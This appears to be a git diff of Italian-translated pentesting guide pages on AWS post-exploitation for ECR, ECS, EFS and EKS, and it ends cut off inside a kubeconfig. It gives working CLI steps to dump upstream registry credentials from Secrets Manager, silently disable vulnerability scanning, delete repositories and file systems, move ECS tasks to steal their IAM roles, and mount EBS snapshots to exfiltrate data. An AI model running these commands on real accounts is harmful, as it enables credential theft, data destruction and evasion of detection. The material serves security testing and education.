## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
|
||||
|
||||
# Download
|
||||
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
|
||||
## If you still have the error "Requested image not found"
|
||||
## It might be because the tag "latest" doesn't exit
|
||||
## Get valid tags with:
|
||||
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
|
||||
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
|
||||
|
||||
# Inspect the image
|
||||
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
|
||||
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
|
||||
|
||||
# Upload (example uploading purplepanda with tag latest)
|
||||
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
|
||||
# Downloading without Docker
|
||||
# List digests
|
||||
aws ecr batch-get-image --repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
|
||||
|
||||
## Download a digest
|
||||
aws ecr get-download-url-for-layer \
|
||||
--repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
Dopo aver scaricato le immagini dovresti **controllarle per informazioni sensibili**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
Un attacker con una qualsiasi di queste autorizzazioni può **creare o modificare una lifecycle policy per eliminare tutte le immagini nel repository** e poi **cancellare l'intero ECR repository**. Ciò comporterebbe la perdita di tutte le immagini dei container memorizzate nel repository.
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
"rules": [
|
||||
{
|
||||
"rulePriority": 1,
|
||||
"description": "Delete all images",
|
||||
"selection": {
|
||||
"tagStatus": "any",
|
||||
"countType": "imageCountMoreThan",
|
||||
"countNumber": 0
|
||||
},
|
||||
"action": {
|
||||
"type": "expire"
|
||||
}
|
||||
}
|
||||
]
|
||||
}' > malicious_policy.json
|
||||
|
||||
# Apply the malicious lifecycle policy to the ECR repository
|
||||
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
|
||||
|
||||
# Delete the ECR repository
|
||||
aws ecr delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete the ECR public repository
|
||||
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete multiple images from the ECR repository
|
||||
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
|
||||
|
||||
Se ECR Pull‑Through Cache è configurato per registri upstream autenticati (Docker Hub, GHCR, ACR, etc.), le credenziali upstream vengono memorizzate in AWS Secrets Manager con un prefisso di nome prevedibile: `ecr-pullthroughcache/`. Gli operatori a volte concedono agli amministratori ECR ampio accesso in lettura a Secrets Manager, abilitando l'exfiltration delle credenziali e il loro riutilizzo al di fuori di AWS.
|
||||
|
||||
Requisiti
|
||||
- secretsmanager:ListSecrets
|
||||
- secretsmanager:GetSecretValue
|
||||
|
||||
Enumerare i segreti PTC candidati
|
||||
```bash
|
||||
aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
|
||||
--output text
|
||||
```
|
||||
Esegui il dump dei segreti scoperti e analizza i campi comuni
|
||||
```bash
|
||||
for s in $(aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
|
||||
aws secretsmanager get-secret-value --secret-id "$s" \
|
||||
--query SecretString --output text | tee /tmp/ptc_secret.json
|
||||
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
|
||||
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
|
||||
done
|
||||
```
|
||||
Facoltativo: convalida leaked creds contro l'upstream (login in sola lettura)
|
||||
```bash
|
||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||
```
|
||||
Impatto
|
||||
- La lettura di queste voci di Secrets Manager restituisce credenziali riutilizzabili del registry upstream (username/password or token), che possono essere sfruttate anche al di fuori di AWS per scaricare immagini private o accedere a repository aggiuntivi a seconda delle autorizzazioni upstream.
|
||||
|
||||
|
||||
### Registry-level stealth: disabilitare o degradare la scansione tramite `ecr:PutRegistryScanningConfiguration`
|
||||
|
||||
Un attacker con permessi ECR a livello di registry può silenziosamente ridurre o disabilitare la scansione automatica delle vulnerabilità per ALL repositories impostando la registry scanning configuration su BASIC senza regole scan-on-push. Questo impedisce che i nuovi image pushes vengano scansionati automaticamente, nascondendo immagini vulnerabili o malevole.
|
||||
|
||||
Requisiti
|
||||
- ecr:PutRegistryScanningConfiguration
|
||||
- ecr:GetRegistryScanningConfiguration
|
||||
- ecr:PutImageScanningConfiguration (optional, per‑repo)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
|
||||
|
||||
Declassamento dell'intero registry a modalità manuale (nessuna scansione automatica)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Read current config (save to restore later)
|
||||
aws ecr get-registry-scanning-configuration --region "$REGION"
|
||||
|
||||
# Set BASIC scanning with no rules (results in MANUAL scanning only)
|
||||
aws ecr put-registry-scanning-configuration \
|
||||
--region "$REGION" \
|
||||
--scan-type BASIC \
|
||||
--rules '[]'
|
||||
```
|
||||
Test con un repo e un'immagine
|
||||
```bash
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
repo=ht-scan-stealth
|
||||
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
|
||||
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
|
||||
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
|
||||
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
|
||||
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
|
||||
|
||||
# Verify no scan ran automatically
|
||||
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
|
||||
# Optional: will error with ScanNotFoundException if no scan exists
|
||||
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
||||
```
|
||||
Opzionale: degradare ulteriormente a livello di repo
|
||||
```bash
|
||||
# Disable scan-on-push for a specific repository
|
||||
aws ecr put-image-scanning-configuration \
|
||||
--region "$REGION" \
|
||||
--repository-name "$repo" \
|
||||
--image-scanning-configuration scanOnPush=false
|
||||
```
|
||||
Impatto
|
||||
- I nuovi push di immagini attraverso il registry non vengono scansionati automaticamente, riducendo la visibilità di contenuti vulnerabili o maligni e ritardando il rilevamento fino a quando non viene avviata una scansione manuale.
|
||||
|
||||
|
||||
### Downgrade del motore di scansione a livello di registry tramite `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
|
||||
Riduci la qualità del rilevamento delle vulnerabilità in tutto il registry passando il motore di scansione BASIC dal valore predefinito AWS_NATIVE al motore legacy CLAIR. Questo non disabilita la scansione ma può cambiare sostanzialmente i risultati/coprertura. Combinalo con una configurazione di scansione del registry BASIC senza regole per rendere le scansioni solo manuali.
|
||||
|
||||
Requisiti
|
||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||
- (Opzionale) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
|
||||
Impatto
|
||||
- L'impostazione del registry `BASIC_SCAN_TYPE_VERSION` viene impostata su `CLAIR`, quindi le successive scansioni BASIC vengono eseguite con il motore declassato. CloudTrail registra la chiamata API `PutAccountSetting`.
|
||||
|
||||
Passaggi
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
|
||||
# 1) Read current value so you can restore it later
|
||||
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
|
||||
|
||||
# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
|
||||
|
||||
# 3) Verify the setting
|
||||
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
|
||||
|
||||
# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
|
||||
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
|
||||
|
||||
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
||||
```
|
||||
|
||||
@@ -1,57 +0,0 @@
|
||||
# AWS - ECS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Ruoli IAM dell'Host
|
||||
|
||||
In ECS un **ruolo IAM può essere assegnato al task** in esecuzione all'interno del container. **Se** il task viene eseguito all'interno di un **EC2** instance, l'**EC2 instance** avrà **un altro ruolo IAM** ad esso associato.\
|
||||
Ciò significa che se riesci a **compromettere** un'istanza ECS puoi potenzialmente **ottenere il ruolo IAM associato all'ECR e all'istanza EC2**. Per ulteriori informazioni su come ottenere queste credenziali controlla:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Nota che se l'istanza EC2 sta applicando IMDSv2, [**secondo la documentazione**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **risposta della richiesta PUT** avrà un **limite di hop di 1**, rendendo impossibile accedere ai metadati EC2 da un container all'interno dell'istanza EC2.
|
||||
|
||||
### Privilegi di escalation al nodo per rubare credenziali e segreti di altri container
|
||||
|
||||
Inoltre, EC2 utilizza Docker per eseguire i task EC, quindi se riesci a scappare al nodo o **accedere al socket Docker**, puoi **controllare** quali **altri container** sono in esecuzione, e persino **entrare in essi** e **rubare i loro ruoli IAM** associati.
|
||||
|
||||
#### Far eseguire i container nell'host attuale
|
||||
|
||||
Inoltre, il **ruolo dell'istanza EC2** avrà di solito abbastanza **permessi** per **aggiornare lo stato dell'istanza del container** delle istanze EC2 utilizzate come nodi all'interno del cluster. Un attaccante potrebbe modificare lo **stato di un'istanza in DRAINING**, quindi ECS **rimuoverà tutti i task da essa** e quelli in esecuzione come **REPLICA** saranno **eseguiti in un'altra istanza,** potenzialmente all'interno dell'**istanza dell'attaccante** in modo che possa **rubare i loro ruoli IAM** e potenziali informazioni sensibili dall'interno del container.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
La stessa tecnica può essere eseguita **dissociando l'istanza EC2 dal cluster**. Questo è potenzialmente meno furtivo ma **costringerà i task a essere eseguiti in altre istanze:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Una tecnica finale per forzare la riesecuzione dei compiti è indicare a ECS che il **compito o il contenitore è stato fermato**. Ci sono 3 API potenziali per farlo:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
--status STOPPED --reason "anything" --containers [...]
|
||||
|
||||
# Needs: ecs:SubmitContainerStateChange
|
||||
aws ecs submit-container-state-change ...
|
||||
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Rubare informazioni sensibili dai contenitori ECR
|
||||
|
||||
L'istanza EC2 avrà probabilmente anche il permesso `ecr:GetAuthorizationToken` che le consente di **scaricare immagini** (potresti cercare informazioni sensibili in esse).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,128 @@
|
||||
# AWS - ECS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Host IAM Roles
|
||||
|
||||
Nell'ECS un **IAM role può essere assegnato al task** eseguito all'interno del container. **Se** il task viene eseguito su un'istanza **EC2**, l'**istanza EC2** avrà un **altro IAM** role collegato a essa.\
|
||||
Ciò significa che se riesci a **compromettere** un'istanza ECS puoi potenzialmente **ottenere l'IAM role associato a ECR e all'istanza EC2**. Per maggiori informazioni su come ottenere quelle credenziali consulta:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Nota che se l'istanza EC2 sta imponendo IMDSv2, [**secondo la documentazione**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **risposta della richiesta PUT** avrà un **hop limit di 1**, rendendo impossibile accedere ai metadati EC2 da un container all'interno dell'istanza EC2.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
Inoltre, EC2 uses docker per eseguire ECS tasks, quindi se puoi escape to the node o **access the docker socket**, puoi **verificare** quali **altri container** sono in esecuzione, e persino **entrare al loro interno** e **rubare gli IAM role** loro associati.
|
||||
|
||||
#### Making containers run in current host
|
||||
|
||||
Furthermore, l'**EC2 instance role** di solito avrà sufficienti **permissions** per **aggiornare lo stato della container instance** delle istanze EC2 usate come nodi all'interno del cluster. Un attacker potrebbe modificare lo **stato di un'istanza in DRAINING**, quindi ECS **rimuoverà tutti i task da essa** e quelli eseguiti come **REPLICA** saranno **eseguiti in una diversa istanza,** potenzialmente all'interno dell'**istanza dell'attaccante**, così da poter **rubare i loro IAM role** e eventuali informazioni sensibili presenti all'interno del container.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
La stessa tecnica può essere eseguita **rimuovendo l'istanza EC2 dal cluster**. Questo è potenzialmente meno stealthy ma **forzerà l'esecuzione dei tasks su altre istanze:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Una tecnica finale per forzare la riesecuzione delle task è indicare a ECS che la **task o il container è stato arrestato**. Ci sono 3 API potenziali per farlo:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
--status STOPPED --reason "anything" --containers [...]
|
||||
|
||||
# Needs: ecs:SubmitContainerStateChange
|
||||
aws ecs submit-container-state-change ...
|
||||
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Steal sensitive info from ECR containers
|
||||
|
||||
L'istanza EC2 probabilmente avrà anche il permesso `ecr:GetAuthorizationToken` che le permette di **download images** (potresti cercare informazioni sensibili al loro interno).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Abusa dell'integrazione nativa ECS-EBS (2024+) per montare il contenuto di uno snapshot EBS esistente direttamente all'interno di un nuovo task/servizio ECS e leggere i suoi dati dal container.
|
||||
|
||||
- Richiede (minimo):
|
||||
- ecs:RegisterTaskDefinition
|
||||
- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole on:
|
||||
- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles referenced by the task definition
|
||||
- If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
|
||||
|
||||
- Impatto: leggere contenuti arbitrari del disco dallo snapshot (es., file di database) all'interno del container ed esfiltrarli via rete/log.
|
||||
|
||||
Passaggi (esempio Fargate):
|
||||
|
||||
1) Crea il ruolo infrastruttura ECS (se non esiste) e allega la managed policy:
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) Registra una task definition con un volume contrassegnato `configuredAtLaunch` e montalo nel container. Esempio (stampa il secret e poi dorme):
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
"networkMode": "awsvpc",
|
||||
"requiresCompatibilities": ["FARGATE"],
|
||||
"cpu": "256",
|
||||
"memory": "512",
|
||||
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
|
||||
"containerDefinitions": [
|
||||
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
|
||||
"entryPoint":["/bin/sh","-c"],
|
||||
"command":["cat /loot/secret.txt || true; sleep 3600"],
|
||||
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
|
||||
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
|
||||
}
|
||||
],
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) Crea o aggiorna un servizio passando lo snapshot EBS tramite `volumeConfigurations.managedEBSVolume` (richiede iam:PassRole sul ruolo infra). Esempio:
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
"serviceName": "ht-ebs-svc",
|
||||
"taskDefinition": "ht-ebs-read",
|
||||
"desiredCount": 1,
|
||||
"launchType": "FARGATE",
|
||||
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
|
||||
"volumeConfigurations": [
|
||||
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
|
||||
]
|
||||
}
|
||||
```
|
||||
4) Quando il task viene avviato, il container può leggere il contenuto dello snapshot nel percorso di mount configurato (es., `/loot`). Exfiltrate via the task’s network/logs.
|
||||
|
||||
Pulizia:
|
||||
```bash
|
||||
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
|
||||
@@ -1,46 +0,0 @@
|
||||
# AWS - EFS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `elasticfilesystem:DeleteMountTarget`
|
||||
|
||||
Un attaccante potrebbe eliminare un mount target, potenzialmente interrompendo l'accesso al file system EFS per le applicazioni e gli utenti che dipendono da quel mount target.
|
||||
```sql
|
||||
aws efs delete-mount-target --mount-target-id <value>
|
||||
```
|
||||
**Impatto Potenziale**: Interruzione dell'accesso al file system e potenziale perdita di dati per utenti o applicazioni.
|
||||
|
||||
### `elasticfilesystem:DeleteFileSystem`
|
||||
|
||||
Un attaccante potrebbe eliminare un intero file system EFS, il che potrebbe portare a perdita di dati e influenzare le applicazioni che dipendono dal file system.
|
||||
```perl
|
||||
aws efs delete-file-system --file-system-id <value>
|
||||
```
|
||||
**Impatto Potenziale**: Perdita di dati e interruzione del servizio per le applicazioni che utilizzano il file system eliminato.
|
||||
|
||||
### `elasticfilesystem:UpdateFileSystem`
|
||||
|
||||
Un attaccante potrebbe aggiornare le proprietà del file system EFS, come la modalità di throughput, per influenzare le sue prestazioni o causare esaurimento delle risorse.
|
||||
```sql
|
||||
aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
|
||||
```
|
||||
**Impatto Potenziale**: Degradazione delle prestazioni del file system o esaurimento delle risorse.
|
||||
|
||||
### `elasticfilesystem:CreateAccessPoint` e `elasticfilesystem:DeleteAccessPoint`
|
||||
|
||||
Un attaccante potrebbe creare o eliminare punti di accesso, alterando il controllo degli accessi e potenzialmente concedendo a se stesso accesso non autorizzato al file system.
|
||||
```arduino
|
||||
aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
|
||||
aws efs delete-access-point --access-point-id <value>
|
||||
```
|
||||
**Impatto Potenziale**: Accesso non autorizzato al file system, esposizione o modifica dei dati.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,46 @@
|
||||
# AWS - EFS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Per ulteriori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `elasticfilesystem:DeleteMountTarget`
|
||||
|
||||
Un attacker potrebbe eliminare un mount target, interrompendo potenzialmente l'accesso al file system EFS per le applicazioni e gli utenti che si basano su quel mount target.
|
||||
```sql
|
||||
aws efs delete-mount-target --mount-target-id <value>
|
||||
```
|
||||
**Impatto potenziale**: Interruzione dell'accesso al file system e possibile perdita di dati per utenti o applicazioni.
|
||||
|
||||
### `elasticfilesystem:DeleteFileSystem`
|
||||
|
||||
Un attacker potrebbe eliminare un intero file system EFS, il che potrebbe causare perdita di dati e influire sulle applicazioni che si basano su quel file system.
|
||||
```perl
|
||||
aws efs delete-file-system --file-system-id <value>
|
||||
```
|
||||
**Potential Impact**: Perdita di dati e interruzione del servizio per le applicazioni che utilizzano il file system eliminato.
|
||||
|
||||
### `elasticfilesystem:UpdateFileSystem`
|
||||
|
||||
Un attacker potrebbe aggiornare le proprietà del file system EFS, come il throughput mode, per compromettere le sue prestazioni o causare esaurimento delle risorse.
|
||||
```sql
|
||||
aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
|
||||
```
|
||||
**Impatto potenziale**: Degrado delle prestazioni del file system o esaurimento delle risorse.
|
||||
|
||||
### `elasticfilesystem:CreateAccessPoint` e `elasticfilesystem:DeleteAccessPoint`
|
||||
|
||||
Un attacker potrebbe creare o eliminare access point, modificare i controlli di accesso e potenzialmente ottenere accesso non autorizzato al file system.
|
||||
```arduino
|
||||
aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
|
||||
aws efs delete-access-point --access-point-id <value>
|
||||
```
|
||||
**Impatto potenziale**: Accesso non autorizzato al file system, esposizione o modifica dei dati.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,143 +0,0 @@
|
||||
# AWS - EKS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EKS
|
||||
|
||||
Per ulteriori informazioni controlla
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-eks-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Enumerare il cluster dalla Console AWS
|
||||
|
||||
Se hai il permesso **`eks:AccessKubernetesApi`** puoi **visualizzare gli oggetti Kubernetes** tramite la console AWS EKS ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
|
||||
### Connettersi al Cluster Kubernetes di AWS
|
||||
|
||||
- Modo semplice:
|
||||
```bash
|
||||
# Generate kubeconfig
|
||||
aws eks update-kubeconfig --name aws-eks-dev
|
||||
```
|
||||
- Non è così facile:
|
||||
|
||||
Se puoi **ottenere un token** con **`aws eks get-token --name <cluster_name>`** ma non hai i permessi per ottenere informazioni sul cluster (describeCluster), potresti **preparare il tuo `~/.kube/config`**. Tuttavia, avendo il token, hai ancora bisogno dell'**url endpoint a cui connetterti** (se sei riuscito a ottenere un token JWT da un pod leggi [qui](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) e del **nome del cluster**.
|
||||
|
||||
Nel mio caso, non ho trovato le informazioni nei log di CloudWatch, ma le **ho trovate in LaunchTemplates userData** e in **macchine EC2 in userData anche**. Puoi vedere queste informazioni in **userData** facilmente, ad esempio nel seguente esempio (il nome del cluster era cluster-name):
|
||||
```bash
|
||||
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
|
||||
|
||||
/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>kube config</summary>
|
||||
```yaml
|
||||
describe-cache-parametersapiVersion: v1
|
||||
clusters:
|
||||
- cluster:
|
||||
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1